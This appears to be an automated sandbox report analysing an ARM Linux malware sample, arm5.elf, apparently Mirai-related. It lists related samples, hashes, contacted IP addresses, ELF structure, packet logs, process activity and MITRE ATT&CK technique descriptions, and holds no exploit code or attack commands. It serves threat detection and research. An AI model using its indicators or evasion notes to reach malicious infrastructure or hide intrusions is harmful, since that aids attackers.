INIT7CH	mpsl.fkunigr.elf	Get hash	malicious	Mirai	Browse	109.202.202.202
	arm6.elf	Get hash	malicious	Unknown	Browse	109.202.202.202
	armv5l.elf	Get hash	malicious	Mirai	Browse	109.202.202.202
	aarch64.elf	Get hash	malicious	Mirai	Browse	109.202.202.202
	mpsl.elf	Get hash	malicious	Unknown	Browse	109.202.202.202
	arm.elf	Get hash	malicious	Mirai	Browse	109.202.202.202
	arm6.elf	Get hash	malicious	Unknown	Browse	109.202.202.202
	morte.spc.elf	Get hash	malicious	Okiru	Browse	109.202.202.202
	arm7.elf	Get hash	malicious	Mirai	Browse	109.202.202.202
AMAZON-02US	SHIPPING DOC.exe	Get hash	malicious	FormBook	Browse	13.248.169.48
	OvZRPCoQg7.exe	Get hash	malicious	Lokibot	Browse	13.248.169.48
	B49pcKp4ey.exe	Get hash	malicious	Lokibot	Browse	13.248.169.48
	1 (325).exe	Get hash	malicious	Unknown	Browse	13.213.51.196
	mpsl.fkunigr.elf	Get hash	malicious	Mirai	Browse	54.171.230.55
	na.elf	Get hash	malicious	Prometei	Browse	52.212.150.54
	armv5l.elf	Get hash	malicious	Mirai	Browse	54.171.230.55
	https://tl.phoneky.com/android/?id=d1d149166	Get hash	malicious	Unknown	Browse	13.249.86.166
	mpsl.elf	Get hash	malicious	Unknown	Browse	34.249.145.219

JA3 Fingerprints

⊘No context

Dropped Files

⊘No context

Created / dropped Files

⊘No created / dropped files found

Static File Info

General

File type:	ELF 32-bit LSB executable, ARM, version 1 (ARM), dynamically linked, interpreter /lib/ld-uClibc.so.0, stripped
Entropy (8bit):	6.078882050118449
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	arm5.elf
File size:	40'756 bytes
MD5:	2ac46642238ffcfeab959f97869d9bfc
SHA1:	1d3fba167832a986bda046f8765284114e4cb7cd
SHA256:	eb2918b74b0359a196f2046e189303421391b74b65faadbe74ba049e80cb463c
SHA512:	ed710b2f9db047440f6d07ff6ac61d114e2dbf016f7284fe400c31a831e4524b8b1835e53d13dd35dafad21314b2aa7fccf595f546a8f9877af3ffffed80c438
SSDEEP:	768:wgJMCbqsG5f0OtnlUlYOJFFARwAtb9LnWwaCv+bvaC6ibXoTu/NZwW:wub1G5fPlUlDf43aw9v+DbtMW
TLSH:	9403E751BC829A67C2E1137ABAAE4A8D333163D8D2CF7217DD214B607AD651F0D23F85
File Content Preview:	.ELF...a..........(.........4...d.......4. ...(.........4...4...4...................................................................<...<...............@...@...@.......................T...T...T...................Q.td............................/lib/ld-uCl

Static ELF Info

ELF header
Class:	ELF32
Data:	2's complement, little endian
Version:	1 (current)
Machine:	ARM
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	ARM - ABI
ABI Version:	0
Entry Point Address:	0x8f08
Flags:	0x2
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	6
Section Header Offset:	40036
Section Header Size:	40
Number of Section Headers:	18
Header String Table Index:	17

Sections

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Link	Info	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0	0	0
.interp	PROGBITS	0x80f4	0xf4	0x14	0x0	0x2	A	0	0	1
.hash	HASH	0x8108	0x108	0x234	0x4	0x2	A	3	0	4
.dynsym	DYNSYM	0x833c	0x33c	0x480	0x10	0x2	A	4	1	4
.dynstr	STRTAB	0x87bc	0x7bc	0x230	0x0	0x2	A	0	0	1
.rel.plt	REL	0x89ec	0x9ec	0x1a0	0x8	0x2	A	3	7	4
.init	PROGBITS	0x8b8c	0xb8c	0x18	0x0	0x6	AX	0	0	4
.plt	PROGBITS	0x8ba4	0xba4	0x284	0x4	0x6	AX	0	0	4
.text	PROGBITS	0x8e28	0xe28	0x7de4	0x0	0x6	AX	0	0	4
.fini	PROGBITS	0x10c0c	0x8c0c	0x14	0x0	0x6	AX	0	0	4
.rodata	PROGBITS	0x10c20	0x8c20	0xe1c	0x0	0x2	A	0	0	4
.ctors	PROGBITS	0x19a40	0x9a40	0x8	0x0	0x3	WA	0	0	4
.dtors	PROGBITS	0x19a48	0x9a48	0x8	0x0	0x3	WA	0	0	4
.dynamic	DYNAMIC	0x19a54	0x9a54	0x98	0x8	0x3	WA	4	0	4
.got	PROGBITS	0x19aec	0x9aec	0xdc	0x4	0x3	WA	0	0	4
.data	PROGBITS	0x19bc8	0x9bc8	0x28	0x0	0x3	WA	0	0	4
.bss	NOBITS	0x19bf0	0x9bf0	0x124	0x0	0x3	WA	0	0	4
.shstrtab	STRTAB	0x0	0x9bf0	0x73	0x0	0x0		0	0	1

Program Segments

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Prog Interpreter	Section Mappings
PHDR	0x34	0x8034	0x8034	0xc0	0xc0	2.2713	0x5	R E	0x4
INTERP	0xf4	0x80f4	0x80f4	0x14	0x14	3.6842	0x4	R	0x1	/lib/ld-uClibc.so.0	.interp
LOAD	0x0	0x8000	0x8000	0x9a3c	0x9a3c	6.1251	0x5	R E	0x8000		.interp .hash .dynsym .dynstr .rel.plt .init .plt .text .fini .rodata
LOAD	0x9a40	0x19a40	0x19a40	0x1b0	0x2d4	2.3157	0x6	RW	0x8000		.ctors .dtors .dynamic .got .data .bss
DYNAMIC	0x9a54	0x19a54	0x19a54	0x98	0x98	1.8802	0x6	RW	0x4		.dynamic
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x7	RWE	0x4

Dynamic Tags

Type	Meta	Value	Tag
DT_NEEDED	sharedlib	libc.so.0	0x1
DT_INIT	value	0x8b8c	0xc
DT_FINI	value	0x10c0c	0xd
DT_HASH	value	0x8108	0x4
DT_STRTAB	value	0x87bc	0x5
DT_SYMTAB	value	0x833c	0x6
DT_STRSZ	bytes	560	0xa
DT_SYMENT	bytes	16	0xb
DT_DEBUG	value	0x0	0x15
DT_PLTGOT	value	0x19aec	0x3
DT_PLTRELSZ	bytes	416	0x2
DT_PLTREL	pltrel	DT_REL	0x14
DT_JMPREL	value	0x89ec	0x17
DT_NULL	value	0x0	0x0

Symbols

Name	Section Name	Value	Size	Symbol Type	Symbol Bind	Symbol Visibility	Ndx
	.dynsym	0x0	0	NOTYPE	<unknown>	DEFAULT	SHN_UNDEF
__aeabi_idiv0	.dynsym	0x10b7c	4	FUNC	<unknown>	DEFAULT	8
__aeabi_ldiv0	.dynsym	0x10b7c	4	FUNC	<unknown>	DEFAULT	8
__aeabi_uidiv	.dynsym	0x108bc	0	FUNC	<unknown>	DEFAULT	8
__aeabi_uidivmod	.dynsym	0x109b4	24	FUNC	<unknown>	DEFAULT	8
__bss_end__	.dynsym	0x19d14	0	NOTYPE	<unknown>	DEFAULT	SHN_ABS
__bss_start	.dynsym	0x19bf0	0	NOTYPE	<unknown>	DEFAULT	SHN_ABS
__bss_start__	.dynsym	0x19bf0	0	NOTYPE	<unknown>	DEFAULT	SHN_ABS
__data_start	.dynsym	0x19bc8	0	NOTYPE	<unknown>	DEFAULT	17
__div0	.dynsym	0x10b7c	4	FUNC	<unknown>	DEFAULT	8
__end__	.dynsym	0x19d14	0	NOTYPE	<unknown>	DEFAULT	SHN_ABS
__errno_location	.dynsym	0x8d98	32	FUNC	<unknown>	DEFAULT	SHN_UNDEF
__modsi3	.dynsym	0x10a98	228	FUNC	<unknown>	DEFAULT	8
__muldi3	.dynsym	0x10b80	80	FUNC	<unknown>	DEFAULT	8
__uClibc_main	.dynsym	0x8d2c	488	FUNC	<unknown>	DEFAULT	SHN_UNDEF
__udivsi3	.dynsym	0x108bc	248	FUNC	<unknown>	DEFAULT	8
__umodsi3	.dynsym	0x109cc	204	FUNC	<unknown>	DEFAULT	8
_bss_end__	.dynsym	0x19d14	0	NOTYPE	<unknown>	DEFAULT	SHN_ABS
_edata	.dynsym	0x19bf0	0	NOTYPE	<unknown>	DEFAULT	SHN_ABS
_end	.dynsym	0x19d14	0	NOTYPE	<unknown>	DEFAULT	SHN_ABS
_exit	.dynsym	0x8db0	40	FUNC	<unknown>	DEFAULT	SHN_UNDEF
_start	.dynsym	0x8f08	80	FUNC	<unknown>	DEFAULT	8
abort	.dynsym	0x8c6c	352	FUNC	<unknown>	DEFAULT	SHN_UNDEF
accept	.dynsym	0x8c78	44	FUNC	<unknown>	DEFAULT	SHN_UNDEF
bind	.dynsym	0x8ca8	44	FUNC	<unknown>	DEFAULT	SHN_UNDEF
calloc	.dynsym	0x8c84	88	FUNC	<unknown>	DEFAULT	SHN_UNDEF
clock	.dynsym	0x8dd4	52	FUNC	<unknown>	DEFAULT	SHN_UNDEF
close	.dynsym	0x8e04	44	FUNC	<unknown>	DEFAULT	SHN_UNDEF
closedir	.dynsym	0x8dec	196	FUNC	<unknown>	DEFAULT	SHN_UNDEF
connect	.dynsym	0x8bc4	44	FUNC	<unknown>	DEFAULT	SHN_UNDEF
exit	.dynsym	0x8da4	172	FUNC	<unknown>	DEFAULT	SHN_UNDEF
fcntl	.dynsym	0x8df8	116	FUNC	<unknown>	DEFAULT	SHN_UNDEF
fork	.dynsym	0x8d20	44	FUNC	<unknown>	DEFAULT	SHN_UNDEF
free	.dynsym	0x8e10	288	FUNC	<unknown>	DEFAULT	SHN_UNDEF
getpid	.dynsym	0x8bdc	44	FUNC	<unknown>	DEFAULT	SHN_UNDEF
getppid	.dynsym	0x8d50	44	FUNC	<unknown>	DEFAULT	SHN_UNDEF
getsockname	.dynsym	0x8e1c	44	FUNC	<unknown>	DEFAULT	SHN_UNDEF
getsockopt	.dynsym	0x8d80	48	FUNC	<unknown>	DEFAULT	SHN_UNDEF
inet_addr	.dynsym	0x8cb4	36	FUNC	<unknown>	DEFAULT	SHN_UNDEF
kill	.dynsym	0x8c9c	44	FUNC	<unknown>	DEFAULT	SHN_UNDEF
listen	.dynsym	0x8d14	44	FUNC	<unknown>	DEFAULT	SHN_UNDEF
malloc	.dynsym	0x8c0c	400	FUNC	<unknown>	DEFAULT	SHN_UNDEF
memcpy	.dynsym	0x8bf4	4	FUNC	<unknown>	DEFAULT	SHN_UNDEF
memmove	.dynsym	0x8bd0	4	FUNC	<unknown>	DEFAULT	SHN_UNDEF
memset	.dynsym	0x8d38	156	FUNC	<unknown>	DEFAULT	SHN_UNDEF
open	.dynsym	0x8dc8	92	FUNC	<unknown>	DEFAULT	SHN_UNDEF
opendir	.dynsym	0x8d68	264	FUNC	<unknown>	DEFAULT	SHN_UNDEF
prctl	.dynsym	0x8be8	48	FUNC	<unknown>	DEFAULT	SHN_UNDEF
rand	.dynsym	0x8cd8	4	FUNC	<unknown>	DEFAULT	SHN_UNDEF
read	.dynsym	0x8ce4	44	FUNC	<unknown>	DEFAULT	SHN_UNDEF
readdir	.dynsym	0x8c54	224	FUNC	<unknown>	DEFAULT	SHN_UNDEF
readlink	.dynsym	0x0	44	FUNC	<unknown>	DEFAULT	SHN_UNDEF
realloc	.dynsym	0x8cfc	312	FUNC	<unknown>	DEFAULT	SHN_UNDEF
recv	.dynsym	0x8bb8	44	FUNC	<unknown>	DEFAULT	SHN_UNDEF
recvfrom	.dynsym	0x8c30	52	FUNC	<unknown>	DEFAULT	SHN_UNDEF
remove	.dynsym	0x8c18	72	FUNC	<unknown>	DEFAULT	SHN_UNDEF
select	.dynsym	0x8c48	48	FUNC	<unknown>	DEFAULT	SHN_UNDEF
send	.dynsym	0x8c60	44	FUNC	<unknown>	DEFAULT	SHN_UNDEF
sendto	.dynsym	0x8cf0	52	FUNC	<unknown>	DEFAULT	SHN_UNDEF
setsid	.dynsym	0x8de0	44	FUNC	<unknown>	DEFAULT	SHN_UNDEF
setsockopt	.dynsym	0x8cc0	48	FUNC	<unknown>	DEFAULT	SHN_UNDEF
sleep	.dynsym	0x8c24	420	FUNC	<unknown>	DEFAULT	SHN_UNDEF
socket	.dynsym	0x8c3c	44	FUNC	<unknown>	DEFAULT	SHN_UNDEF
sprintf	.dynsym	0x8d74	52	FUNC	<unknown>	DEFAULT	SHN_UNDEF
srand	.dynsym	0x8d44	148	FUNC	<unknown>	DEFAULT	SHN_UNDEF
stat	.dynsym	0x8d8c	80	FUNC	<unknown>	DEFAULT	SHN_UNDEF
strlen	.dynsym	0x8dbc	96	FUNC	<unknown>	DEFAULT	SHN_UNDEF
strstr	.dynsym	0x8ccc	248	FUNC	<unknown>	DEFAULT	SHN_UNDEF
strtok	.dynsym	0x8d08	36	FUNC	<unknown>	DEFAULT	SHN_UNDEF
system	.dynsym	0x8c00	336	FUNC	<unknown>	DEFAULT	SHN_UNDEF
time	.dynsym	0x8d5c	44	FUNC	<unknown>	DEFAULT	SHN_UNDEF
write	.dynsym	0x8c90	44	FUNC	<unknown>	DEFAULT	SHN_UNDEF

Network Behavior

Download Network PCAP: filtered – full

Network Port Distribution

Total Packets: 12
• 443 (HTTPS)
• 80 (HTTP)

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 24, 2025 08:33:30.462362051 CET	43928	443	192.168.2.23	91.189.91.42
Mar 24, 2025 08:33:36.093697071 CET	42836	443	192.168.2.23	91.189.91.43
Mar 24, 2025 08:33:37.373471975 CET	42516	80	192.168.2.23	109.202.202.202
Mar 24, 2025 08:33:50.958357096 CET	39246	443	192.168.2.23	34.249.145.219
Mar 24, 2025 08:33:50.958408117 CET	443	39246	34.249.145.219	192.168.2.23
Mar 24, 2025 08:33:50.958479881 CET	39246	443	192.168.2.23	34.249.145.219
Mar 24, 2025 08:33:50.958726883 CET	39246	443	192.168.2.23	34.249.145.219
Mar 24, 2025 08:33:50.958735943 CET	443	39246	34.249.145.219	192.168.2.23
Mar 24, 2025 08:33:51.707535982 CET	43928	443	192.168.2.23	91.189.91.42
Mar 24, 2025 08:34:01.946168900 CET	42836	443	192.168.2.23	91.189.91.43
Mar 24, 2025 08:34:08.089293957 CET	42516	80	192.168.2.23	109.202.202.202
Mar 24, 2025 08:34:32.661953926 CET	43928	443	192.168.2.23	91.189.91.42
Mar 24, 2025 08:34:50.950795889 CET	39246	443	192.168.2.23	34.249.145.219
Mar 24, 2025 08:34:50.996323109 CET	443	39246	34.249.145.219	192.168.2.23
Mar 24, 2025 08:34:53.139076948 CET	42836	443	192.168.2.23	91.189.91.43

System Behavior

Analysis Process: arm5.elf PID: 6232, Parent PID: 6152

General

Start time (UTC):	07:33:28
Start date (UTC):	24/03/2025
Path:	/tmp/arm5.elf
Arguments:	/tmp/arm5.elf
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

File Activities

File Opened

File Read

Process Activities

Thread Sleep

System Activities

Query System Information (uname)

Chronological Activities

Analysis Process: dash PID: 6297, Parent PID: 4331

General

Start time (UTC):	07:34:49
Start date (UTC):	24/03/2025
Path:	/usr/bin/dash
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Process Activities

Process Overlayed (Exec)

Chronological Activities

Analysis Process: rm PID: 6297, Parent PID: 4331

General

Start time (UTC):	07:34:49
Start date (UTC):	24/03/2025
Path:	/usr/bin/rm
Arguments:	rm -f /tmp/tmp.FcGvLC9cQw /tmp/tmp.xcB8zd94H2 /tmp/tmp.j70S8B0EXw
File size:	72056 bytes
MD5 hash:	aa2b5496fdbfd88e38791ab81f90b95b

File Activities

File Opened

File Deleted

File Read

Chronological Activities

Analysis Process: dash PID: 6298, Parent PID: 4331

General

Start time (UTC):	07:34:49
Start date (UTC):	24/03/2025
Path:	/usr/bin/dash
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Process Activities

Process Overlayed (Exec)

Chronological Activities

Analysis Process: rm PID: 6298, Parent PID: 4331

General

Start time (UTC):	07:34:49
Start date (UTC):	24/03/2025
Path:	/usr/bin/rm
Arguments:	rm -f /tmp/tmp.FcGvLC9cQw /tmp/tmp.xcB8zd94H2 /tmp/tmp.j70S8B0EXw
File size:	72056 bytes
MD5 hash:	aa2b5496fdbfd88e38791ab81f90b95b

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

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Linux Analysis Report arm5.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Runtime Messages

Process Tree

Malware Threat Intel

Yara Signatures

Initial Sample

Memory Dumps

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Networking

System Summary

Persistence and Installation Behavior

Malware Analysis System Evasion

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

Static ELF Info

ELF header

Sections

Program Segments

Dynamic Tags

Symbols

Network Behavior

Network Port Distribution

TCP Packets

System Behavior

Analysis Process: arm5.elf PID: 6232, Parent PID: 6152

General

File Activities

File Opened

File Read

Process Activities

Thread Sleep

System Activities

Query System Information (uname)

Chronological Activities

Analysis Process: dash PID: 6297, Parent PID: 4331

General

Process Activities

Process Overlayed (Exec)

Chronological Activities

Analysis Process: rm PID: 6297, Parent PID: 4331

General

Linux Analysis Report
arm5.elf